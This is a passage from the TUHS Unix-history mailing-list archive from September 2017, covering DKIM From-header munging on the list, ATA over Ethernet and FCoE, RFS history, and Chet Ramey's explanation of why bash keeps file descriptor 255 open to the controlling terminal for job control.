Subject: [TUHS] TUHS: munged From header for DKIM
In-Reply-To: <20170926064039.GA7936@minnie.tuhs.org>
References: <20170926064039.GA7936@minnie.tuhs.org>
Message-ID: <918c85d3-1db3-6ee0-50e2-0355c09e30ad@tnetconsulting.net>

On 09/26/2017 12:40 AM, Warren Toomey wrote:
> All, I've set up a mirror TUHS list which munges the From: line to keep
> mail systems like Gmail happy. I've migrated some of you over to this
> new list: those whose subscriptions were disabled due to excessive bounces.
> I'm hoping that this will a) fix most of the bounce problems and b) keep
> those who don't want address munging happy.

Thank you for your efforts Warren.  I owe you a drink if I ever see you 
in person.

1)  Please expand the list to participants that run DKIM / DMARC 
filters, Gmail being quite common.  I personally run such a filter and 
would appreciate being moved so that I don't accidentally reject message 
from others.

2)  I think you can configure Mailman to only munge From addresses if 
the sender's domain has DKIM / DMARC.  -  I don't know if that changes 
things or not.

> If I've moved you and you want to be put back on the non-munged list,
> let me know.
> 
> Fingers crossed that this is a good solution,

:-)



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170926/fa2371ff/attachment.bin>

From bakul at bitblocks.com  Wed Sep 27 04:26:39 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Tue, 26 Sep 2017 11:26:39 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: Your message of "Tue, 26 Sep 2017 11:39:56 -0600."
 <CANCZdfoyPf03SZTThBy1yDcChK8gybapVHQkUQwD5442qpS2QQ@mail.gmail.com>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
 <20170926144155.GW28606@mcvoy.com>
 <46A45CD5-45A0-44C8-ABC4-0644D7A23493@bitblocks.com>
 <CANCZdfoyPf03SZTThBy1yDcChK8gybapVHQkUQwD5442qpS2QQ@mail.gmail.com>
Message-ID: <20170926182655.2F059156E523@mail.bitblocks.com>

On Tue, 26 Sep 2017 11:39:56 -0600 Warner Losh <imp at bsdimp.com> wrote:
Warner Losh writes:
> 
> On Tue, Sep 26, 2017 at 11:34 AM, Bakul Shah <bakul at bitblocks.com> wrote:
> 
> > You probably know Brantley Coile did ata over Ethernet. AOE is a simple
> > protocol so the client side driver is simple. He ran plan9 on his
> > controller. One per rack. Basically you have a storage area network. Adding
> > disks becomes very easy. His company is back in business if you want to buy
> > some!
> >
> > AOE is probably a better idea than FCoE, fiber channel over Ethernet, with
> > its requirement for a reliable transport. On the other hand, may be there
> > is need for encrypted channels all the way to disks.
> 
> 
> AoE: All the quality you'd expect from low end ATA drives couple with all
> the reliability of low-end consumer grade ethernet. What could go wrong?
> 
> AoE really punted on all the reliability stuff, so if you have any kind of
> congested network it's a total disaster. Plus, who doesn't want to access
> storage via an arcane protocol designed so you could latch registers
> effective, but not so you can encode requests so.
> 
> Sorry for the rant, but I've had to deal with too much low-end gear
> recently and it makes me grumpy and AoE back in the early 2000's was a
> total S***show of low-end, poor quality implementations....

I have no practical experience with either so no idea which
can be done better. Just an instinct that lower level
protocols should be kept simple. 

Ethernet is not a reliable protocol and I'd rather let an
higher level protocol deal with end to end reliability. And
while AOE uses ATA commands, attached disks can be SAS or ATA
or whatever the controller can handle. The congestion should
probably be dealt with at the ethernet switch level.  Since
each protocol message has a tag, the driver should keep track
of what it has not received and retry after timeout.

In a previous job I got pretty familiar with ieee 802.1ad and
802.1ah (QinQ and MACinMAC) and they get complex when they add
all the other stuff some of which probably belongs at layer 3.

FC itself is a transport protocol for SCSI etc. so FCoE adds
yet another layer. (And I suppose you can then send ethernet
frames over fiber!)



From gtaylor at tnetconsulting.net  Wed Sep 27 05:44:51 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 26 Sep 2017 13:44:51 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170926174342.GA28606@mcvoy.com>
References: <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
 <20170926144155.GW28606@mcvoy.com>
 <46A45CD5-45A0-44C8-ABC4-0644D7A23493@bitblocks.com>
 <20170926174342.GA28606@mcvoy.com>
Message-ID: <5dac0da9-1c7b-a672-6236-abf27b67b01f@tnetconsulting.net>

On 09/26/2017 11:43 AM, Larry McVoy wrote:
> Yeah, the old school people want their comfort zone, I'm also not so sure
> that FCoE is such a good idea.

I think the main driver for FCoE is the fact that data centers don't 
want two parallel networks, Ethernet and Fibre Channel.

I don't think either side of the house /likes/ FCoE, but both are 
willing to (begrudgingly) work with it.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170926/edc1ed34/attachment.bin>

From gregg.drwho8 at gmail.com  Wed Sep 27 06:05:01 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Tue, 26 Sep 2017 16:05:01 -0400
Subject: [TUHS] TUHS: munged From header for DKIM
In-Reply-To: <20170926064039.GA7936@minnie.tuhs.org>
References: <20170926064039.GA7936@minnie.tuhs.org>
Message-ID: <CAC5iaNGYSu92=H4Ztv+aa8j0qT9aEPcynk-xY3dh8caEvcWFqg@mail.gmail.com>

Hello!
Good decision. Let's see what happens.
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Tue, Sep 26, 2017 at 2:40 AM, Warren Toomey via TUHSmangle
<tuhsmangle at minnie.tuhs.org> wrote:
> All, I've set up a mirror TUHS list which munges the From: line to keep
> mail systems like Gmail happy. I've migrated some of you over to this
> new list: those whose subscriptions were disabled due to excessive bounces.
> I'm hoping that this will a) fix most of the bounce problems and b) keep
> those who don't want address munging happy.
>
> If I've moved you and you want to be put back on the non-munged list,
> let me know.
>
> Fingers crossed that this is a good solution,
>         Warren
>
>



From dave at horsfall.org  Wed Sep 27 07:23:05 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Wed, 27 Sep 2017 07:23:05 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170926145326.GX28606@mcvoy.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
Message-ID: <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>

On Tue, 26 Sep 2017, Larry McVoy wrote:

>>> What the heck is file descriptor 255?
>>
>> It appears to be a file descriptor open to his controlling terminal.
>
> LOL.  I think he's wondering why the fd has the value of 255 and I 
> dunno. Some weird bash thing?

Exactly; why 255 of all things?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From krewat at kilonet.net  Wed Sep 27 07:43:15 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Tue, 26 Sep 2017 17:43:15 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
Message-ID: <3437fc6d-ec08-2471-193f-221ad4fa33a6@kilonet.net>

Who's going to type:

<cmd> 2>&255

?


On 9/26/2017 5:23 PM, Dave Horsfall wrote:
> On Tue, 26 Sep 2017, Larry McVoy wrote:
>
>>>> What the heck is file descriptor 255?
>>>
>>> It appears to be a file descriptor open to his controlling terminal.
>>
>> LOL.  I think he's wondering why the fd has the value of 255 and I 
>> dunno. Some weird bash thing?
>
> Exactly; why 255 of all things?
>



From gtaylor at tnetconsulting.net  Wed Sep 27 07:45:18 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Tue, 26 Sep 2017 15:45:18 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
Message-ID: <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>

On 09/26/2017 03:23 PM, Dave Horsfall wrote:
> Exactly; why 255 of all things?

High order of 8 bits?  (Assuming low order starts at 0.)



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170926/aaafee2d/attachment.bin>

From chris at groessler.org  Wed Sep 27 08:00:03 2017
From: chris at groessler.org (Christian Groessler)
Date: Wed, 27 Sep 2017 00:00:03 +0200
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170923091704.GD10152@darioniedermann.it>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
Message-ID: <78cca845-e438-e5e3-f5f4-f030fe530667@groessler.org>

On 09/23/17 11:17, Dario Niedermann wrote:
> Il 20/09/2017 alle 02:39, Dave Horsfall ha scritto:
>
>> Definitely FreeBSD, because it's solid, has thousands of ports,
>> and well, is BSD...
> I have been a user in the past, but I just can't forgive FreeBSD for
> abandoning the proc filesystem  :-(


And SLIP... :-(


regards,
chris



From wes.parish at paradise.net.nz  Wed Sep 27 09:22:33 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Wed, 27 Sep 2017 12:22:33 +1300 (NZDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170926144155.GW28606@mcvoy.com>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
 <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>
 <1506386563.59c9a2834015a@www.paradise.net.nz>
 <20170926144155.GW28606@mcvoy.com>
Message-ID: <1506468153.59cae13933678@www.paradise.net.nz>

FWIW, I got the idea from finding out what SCSI was supposed to be - a set of devices with everything 
on the same level as a node, controller included. I was reading Tanenbaum's Minix book at the time and 
liked the idea of everything as a file, so "everything as a file" and "every device as a node" just clicked as 
ideal complements - with "everything designed to do one thing (only) and do it well" being self-evident, 
or so I thought. Nanokernels in every device, naturally, with some form of authentication being one of 
the few things built-in, was something else I considered self-evident.

I've thought a lot of things self-evident. :)

FWLIW :)

Wesley Parish

Quoting Larry McVoy <lm at mcvoy.com>:

> So maybe Ron Minnich will remember this. Back in the days of 10Mbit
> ethernet I was pushing for 100Mbit. Part of what I wanted was ethernet
> all the way out to the disk drives. It was a little ahead of its time,
> the idea was to run Linux on the general purpose processor and be able
> to send the questions to the drive rather than slurping all the data
> across and pawing through it on the main CPU. That was part of the
> idea, the other part was power over ethernet and you need more space?
> Just plug in a drive.
> 
> It's been over 20 years since I proposed that and things are starting
> to look up a little. Western Digital made a version of what I wanted,
> an ethernet attached drive with a key/value store on the drive. Not
> quite there but closer. And I just stumbled across this:
> 
> https://en.wikipedia.org/wiki/Data_center_bridging
> 
> Not sure how well that will work but it's interesting that people are
> working on it.
> 
> On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
> > Yes. I thought it made a lot of sense. 
> > 
> > Quoting Tony Finch <dot at dotat.at>:
> > 
> > > Wesley Parish <wes.parish at paradise.net.nz> wrote:
> > > 
> > > > I once thought of developing a computer where everything from the
> > > core
> > > > functions to the peripherals was a network node. In effect
> replacing
> > > the
> > > > bus. I found references to a Cambridge U (UK) computer system
> that
> > > > purported to do just that but couldn't find any more info on it.
> > > 
> > > The Desk Area Network, perhaps?
> > > http://www.cl.cam.ac.uk/research/srg/dan.html
> > > 
> > > Tony.
> > > -- 
> > > f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h
> punycode
> > > Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally
> 7
> > > later in
> > > west. Moderate becoming rough later. Fair. Good.
> > > 
> > 
> > 
> > 
> > "I have supposed that he who buys a Method means to learn it." -
> Ferdinand Sor,
> > Method for Guitar
> > 
> > "A verbal contract isn't worth the paper it's written on." -- Samuel
> Goldwyn
> 
> -- 
> ---
> Larry McVoy 	 lm at mcvoy.com http://www.mcvoy.com/lm 
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn



From dave at horsfall.org  Wed Sep 27 10:58:59 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Wed, 27 Sep 2017 10:58:59 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
Message-ID: <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>

On Tue, 26 Sep 2017, Grant Taylor wrote:

>> Exactly; why 255 of all things?
>
> High order of 8 bits?  (Assuming low order starts at 0.)

Yeah, but still doesn't answer the question, application-wise.  I'm gonna 
guess (without digging through the source) that it's a "dup2(0, 255)*" or 
something, to "save" a copy of stdin/out/err for some obscure reason.

[*]
OK, "getdtablesize() - 1" instead of 255...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From chet.ramey at case.edu  Wed Sep 27 11:37:13 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Tue, 26 Sep 2017 21:37:13 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
Message-ID: <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>

On 9/26/17 8:58 PM, Dave Horsfall wrote:
> On Tue, 26 Sep 2017, Grant Taylor wrote:
> 
>>> Exactly; why 255 of all things?
>>
>> High order of 8 bits?  (Assuming low order starts at 0.)
> 
> Yeah, but still doesn't answer the question, application-wise.  I'm gonna
> guess (without digging through the source) that it's a "dup2(0, 255)*" or
> something, to "save" a copy of stdin/out/err for some obscure reason.

I already answered this.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From lm at mcvoy.com  Wed Sep 27 12:02:14 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 26 Sep 2017 19:02:14 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
Message-ID: <20170927020214.GG28606@mcvoy.com>

On Tue, Sep 26, 2017 at 09:37:13PM -0400, Chet Ramey wrote:
> On 9/26/17 8:58 PM, Dave Horsfall wrote:
> > On Tue, 26 Sep 2017, Grant Taylor wrote:
> > 
> >>> Exactly; why 255 of all things?
> >>
> >> High order of 8 bits??? (Assuming low order starts at 0.)
> > 
> > Yeah, but still doesn't answer the question, application-wise.?? I'm gonna
> > guess (without digging through the source) that it's a "dup2(0, 255)*" or
> > something, to "save" a copy of stdin/out/err for some obscure reason.
> 
> I already answered this.

OK, I'm gonna be that guy because I've learned when I ask, I learn.  

You answered but I didn't get any insight.  Why have an extra fd talking
to the tty?  bash has 0, 1, 2 talking to it.   If it were redirected 
would it have 255 pointing to some random tty?  I don't get the reason
for the extra fd.



From dave at horsfall.org  Wed Sep 27 13:42:38 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Wed, 27 Sep 2017 13:42:38 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
Message-ID: <alpine.BSF.2.21.1709271339130.47452@aneurin.horsfall.org>

On Tue, 26 Sep 2017, Chet Ramey wrote:

>> Yeah, but still doesn't answer the question, application-wise.  I'm 
>> gonna guess (without digging through the source) that it's a "dup2(0, 
>> 255)*" or something, to "save" a copy of stdin/out/err for some obscure 
>> reason.
>
> I already answered this.

You didn't, actually, but I'll be generous and assume that you genuinely 
missed my point as opposed to being deliberately obtuse; I don't think I 
can make it any clearer, but I see that Larry "got it".

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

From arnold at skeeve.com  Wed Sep 27 18:44:02 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Wed, 27 Sep 2017 02:44:02 -0600
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
Message-ID: <201709270844.v8R8i2kd021180@freefriends.org>

Clem Cole <clemc at ccc.com> wrote:

> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net> wrote:
>
> > Where does RFS (AT&T System III) fit in all of this?
> >
> Well it was not in PWB 3.0 - aka System III.

It was in System V Release 3, thus the confusion.  Sun integrated it
into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
was for sure gone from 4.1.3 and 4.1.4.

> > Just looking for history on RFS if any.
> >
> David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta
> afterwards.

Interesting!  I never knew that he was involved with it. I don't think
his name was on any of the USENIX papers.

He and I grew up on the same street, and both sets of parents still
live there.  He later (with Perry Flinn) went on to found Secureware
and they did quite well for themselves in the 90s.

> RFS was based on ideas Peter had used in Eighth Edition file system.  When
> we did EFS @ Masscomp, Perry Flinn and I were both aware of Peter's work ...

I briefly overlapped Perry at Georgia Tech. He was one of the three
major developers of the Georgia Tech Software Tools Subsystem for Pr1me
Computers that I later was involved with.  A very bright guy; no idea
where he is now.

Arnold



From chet.ramey at case.edu  Wed Sep 27 23:50:10 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Wed, 27 Sep 2017 09:50:10 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170927020214.GG28606@mcvoy.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
 <20170927020214.GG28606@mcvoy.com>
Message-ID: <4e49a311-704d-6b70-92b3-27c6565f8aa0@case.edu>

On 9/26/17 10:02 PM, Larry McVoy wrote:

>>> Yeah, but still doesn't answer the question, application-wise.?? I'm gonna
>>> guess (without digging through the source) that it's a "dup2(0, 255)*" or
>>> something, to "save" a copy of stdin/out/err for some obscure reason.
>>
>> I already answered this.
> 
> OK, I'm gonna be that guy because I've learned when I ask, I learn.  
> 
> You answered but I didn't get any insight.  Why have an extra fd talking
> to the tty?  bash has 0, 1, 2 talking to it.   If it were redirected 
> would it have 255 pointing to some random tty?  I don't get the reason
> for the extra fd.

OK. The only way to guarantee you have a descriptor open to your
controlling terminal is to open /dev/tty yourself. You can run `bash -im'
and have yourself an interactive shell with job control enabled no matter
where stdin/stdout/stderr point, and they can be redirected at any point
during execution, so you can't count on them. But why do you have to have
the fd in the first place?

My initial message said you need it for "job control and other terminal
operations." Here's what that means.

You initially need a handle to your controlling terminal to determine
whether or not you have one and whether you're in the background. If you
don't have a controlling terminal, job control is impossible. You need the
terminal's process group to determine whether or not you're in the
foreground, and to get that you need a handle to the controlling tty. Every
shell does this.

Once you've determined the original tty pgrp, you need to become a process
group leader if you're not one already and set the terminal's process group
to your own so you can stay in the foreground. If you don't, you can't read
from the terminal. If you can't change the terminal's process group, you
can't enable job control. You need the handle to call tcsetpgrp(). Again,
this is something every shell does.

Now that you've set up job control, and you have a handle to your
controlling terminal, you might as well keep it around -- your controlling
terminal is not going to change throughout the life of the process.
You'll need that handle every time you want to set the terminal's process
group, and that's the essence of job control: setting the terminal's
process group to the process group ID of whatever you've determined is the
foreground job (which, most of the time, is yourself). So bash saves it
to an fd that is unlikely to collide with anything else, which is essential
because bash allows the file descriptor numbers used in redirections to
consist of multiple digits. (I explained the algorithm bash uses; other
shells do something different. dash and zsh use fd 10. mksh uses 24 (?).
ksh93 uses fd 2 no matter what, so you don't get job control if you
redirect stderr away from the terminal.)

There is another "terminal operation" for which the controlling terminal
is required: saving and restoring terminal state. Bash fetches the terminal
attributes before running an external command, and restores the attributes
if a process exits with a non-zero status or is stopped. The former is a
useful convenience; the latter is required. You need the handle for the
calls to tcgetattr()/tcsetattr().

You can get away without all of this stuff, of course. But that makes job
control harder and less efficient.

Chet
-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From lm at mcvoy.com  Thu Sep 28 00:17:06 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 27 Sep 2017 07:17:06 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <4e49a311-704d-6b70-92b3-27c6565f8aa0@case.edu>
References: <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
 <20170927020214.GG28606@mcvoy.com>
 <4e49a311-704d-6b70-92b3-27c6565f8aa0@case.edu>
Message-ID: <20170927141706.GI28606@mcvoy.com>

On Wed, Sep 27, 2017 at 09:50:10AM -0400, Chet Ramey wrote:
> On 9/26/17 10:02 PM, Larry McVoy wrote:
> 
> >>> Yeah, but still doesn't answer the question, application-wise.?? I'm gonna
> >>> guess (without digging through the source) that it's a "dup2(0, 255)*" or
> >>> something, to "save" a copy of stdin/out/err for some obscure reason.
> >>
> >> I already answered this.
> > 
> > OK, I'm gonna be that guy because I've learned when I ask, I learn.  
> > 
> > You answered but I didn't get any insight.  Why have an extra fd talking
> > to the tty?  bash has 0, 1, 2 talking to it.   If it were redirected 
> > would it have 255 pointing to some random tty?  I don't get the reason
> > for the extra fd.
> 
> OK. The only way to guarantee you have a descriptor open to your
> controlling terminal is to open /dev/tty yourself. You can run `bash -im'
> and have yourself an interactive shell with job control enabled no matter
> where stdin/stdout/stderr point, and they can be redirected at any point
> during execution, so you can't count on them. But why do you have to have
> the fd in the first place?

All the tty stuff wasn't my question, I get all that, I did POSIX conformance
in SunOS, there was a time when I dreamed about setsid() et al :)

> ksh93 uses fd 2 no matter what, so you don't get job control if you
> redirect stderr away from the terminal.)

So that's the behaviour I'm used to (dating myself but this is TUHS so...)

My question really was why use an extra fd?  If I run 

	bash something > /dev/null 2>&1

duh.  ksh93 wouldn't let you ^Z that, eh?  OK, makes sense, I hadn't 
thought it through.  Sorry for the brain fart.



From chet.ramey at case.edu  Thu Sep 28 00:35:51 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Wed, 27 Sep 2017 10:35:51 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709271339130.47452@aneurin.horsfall.org>
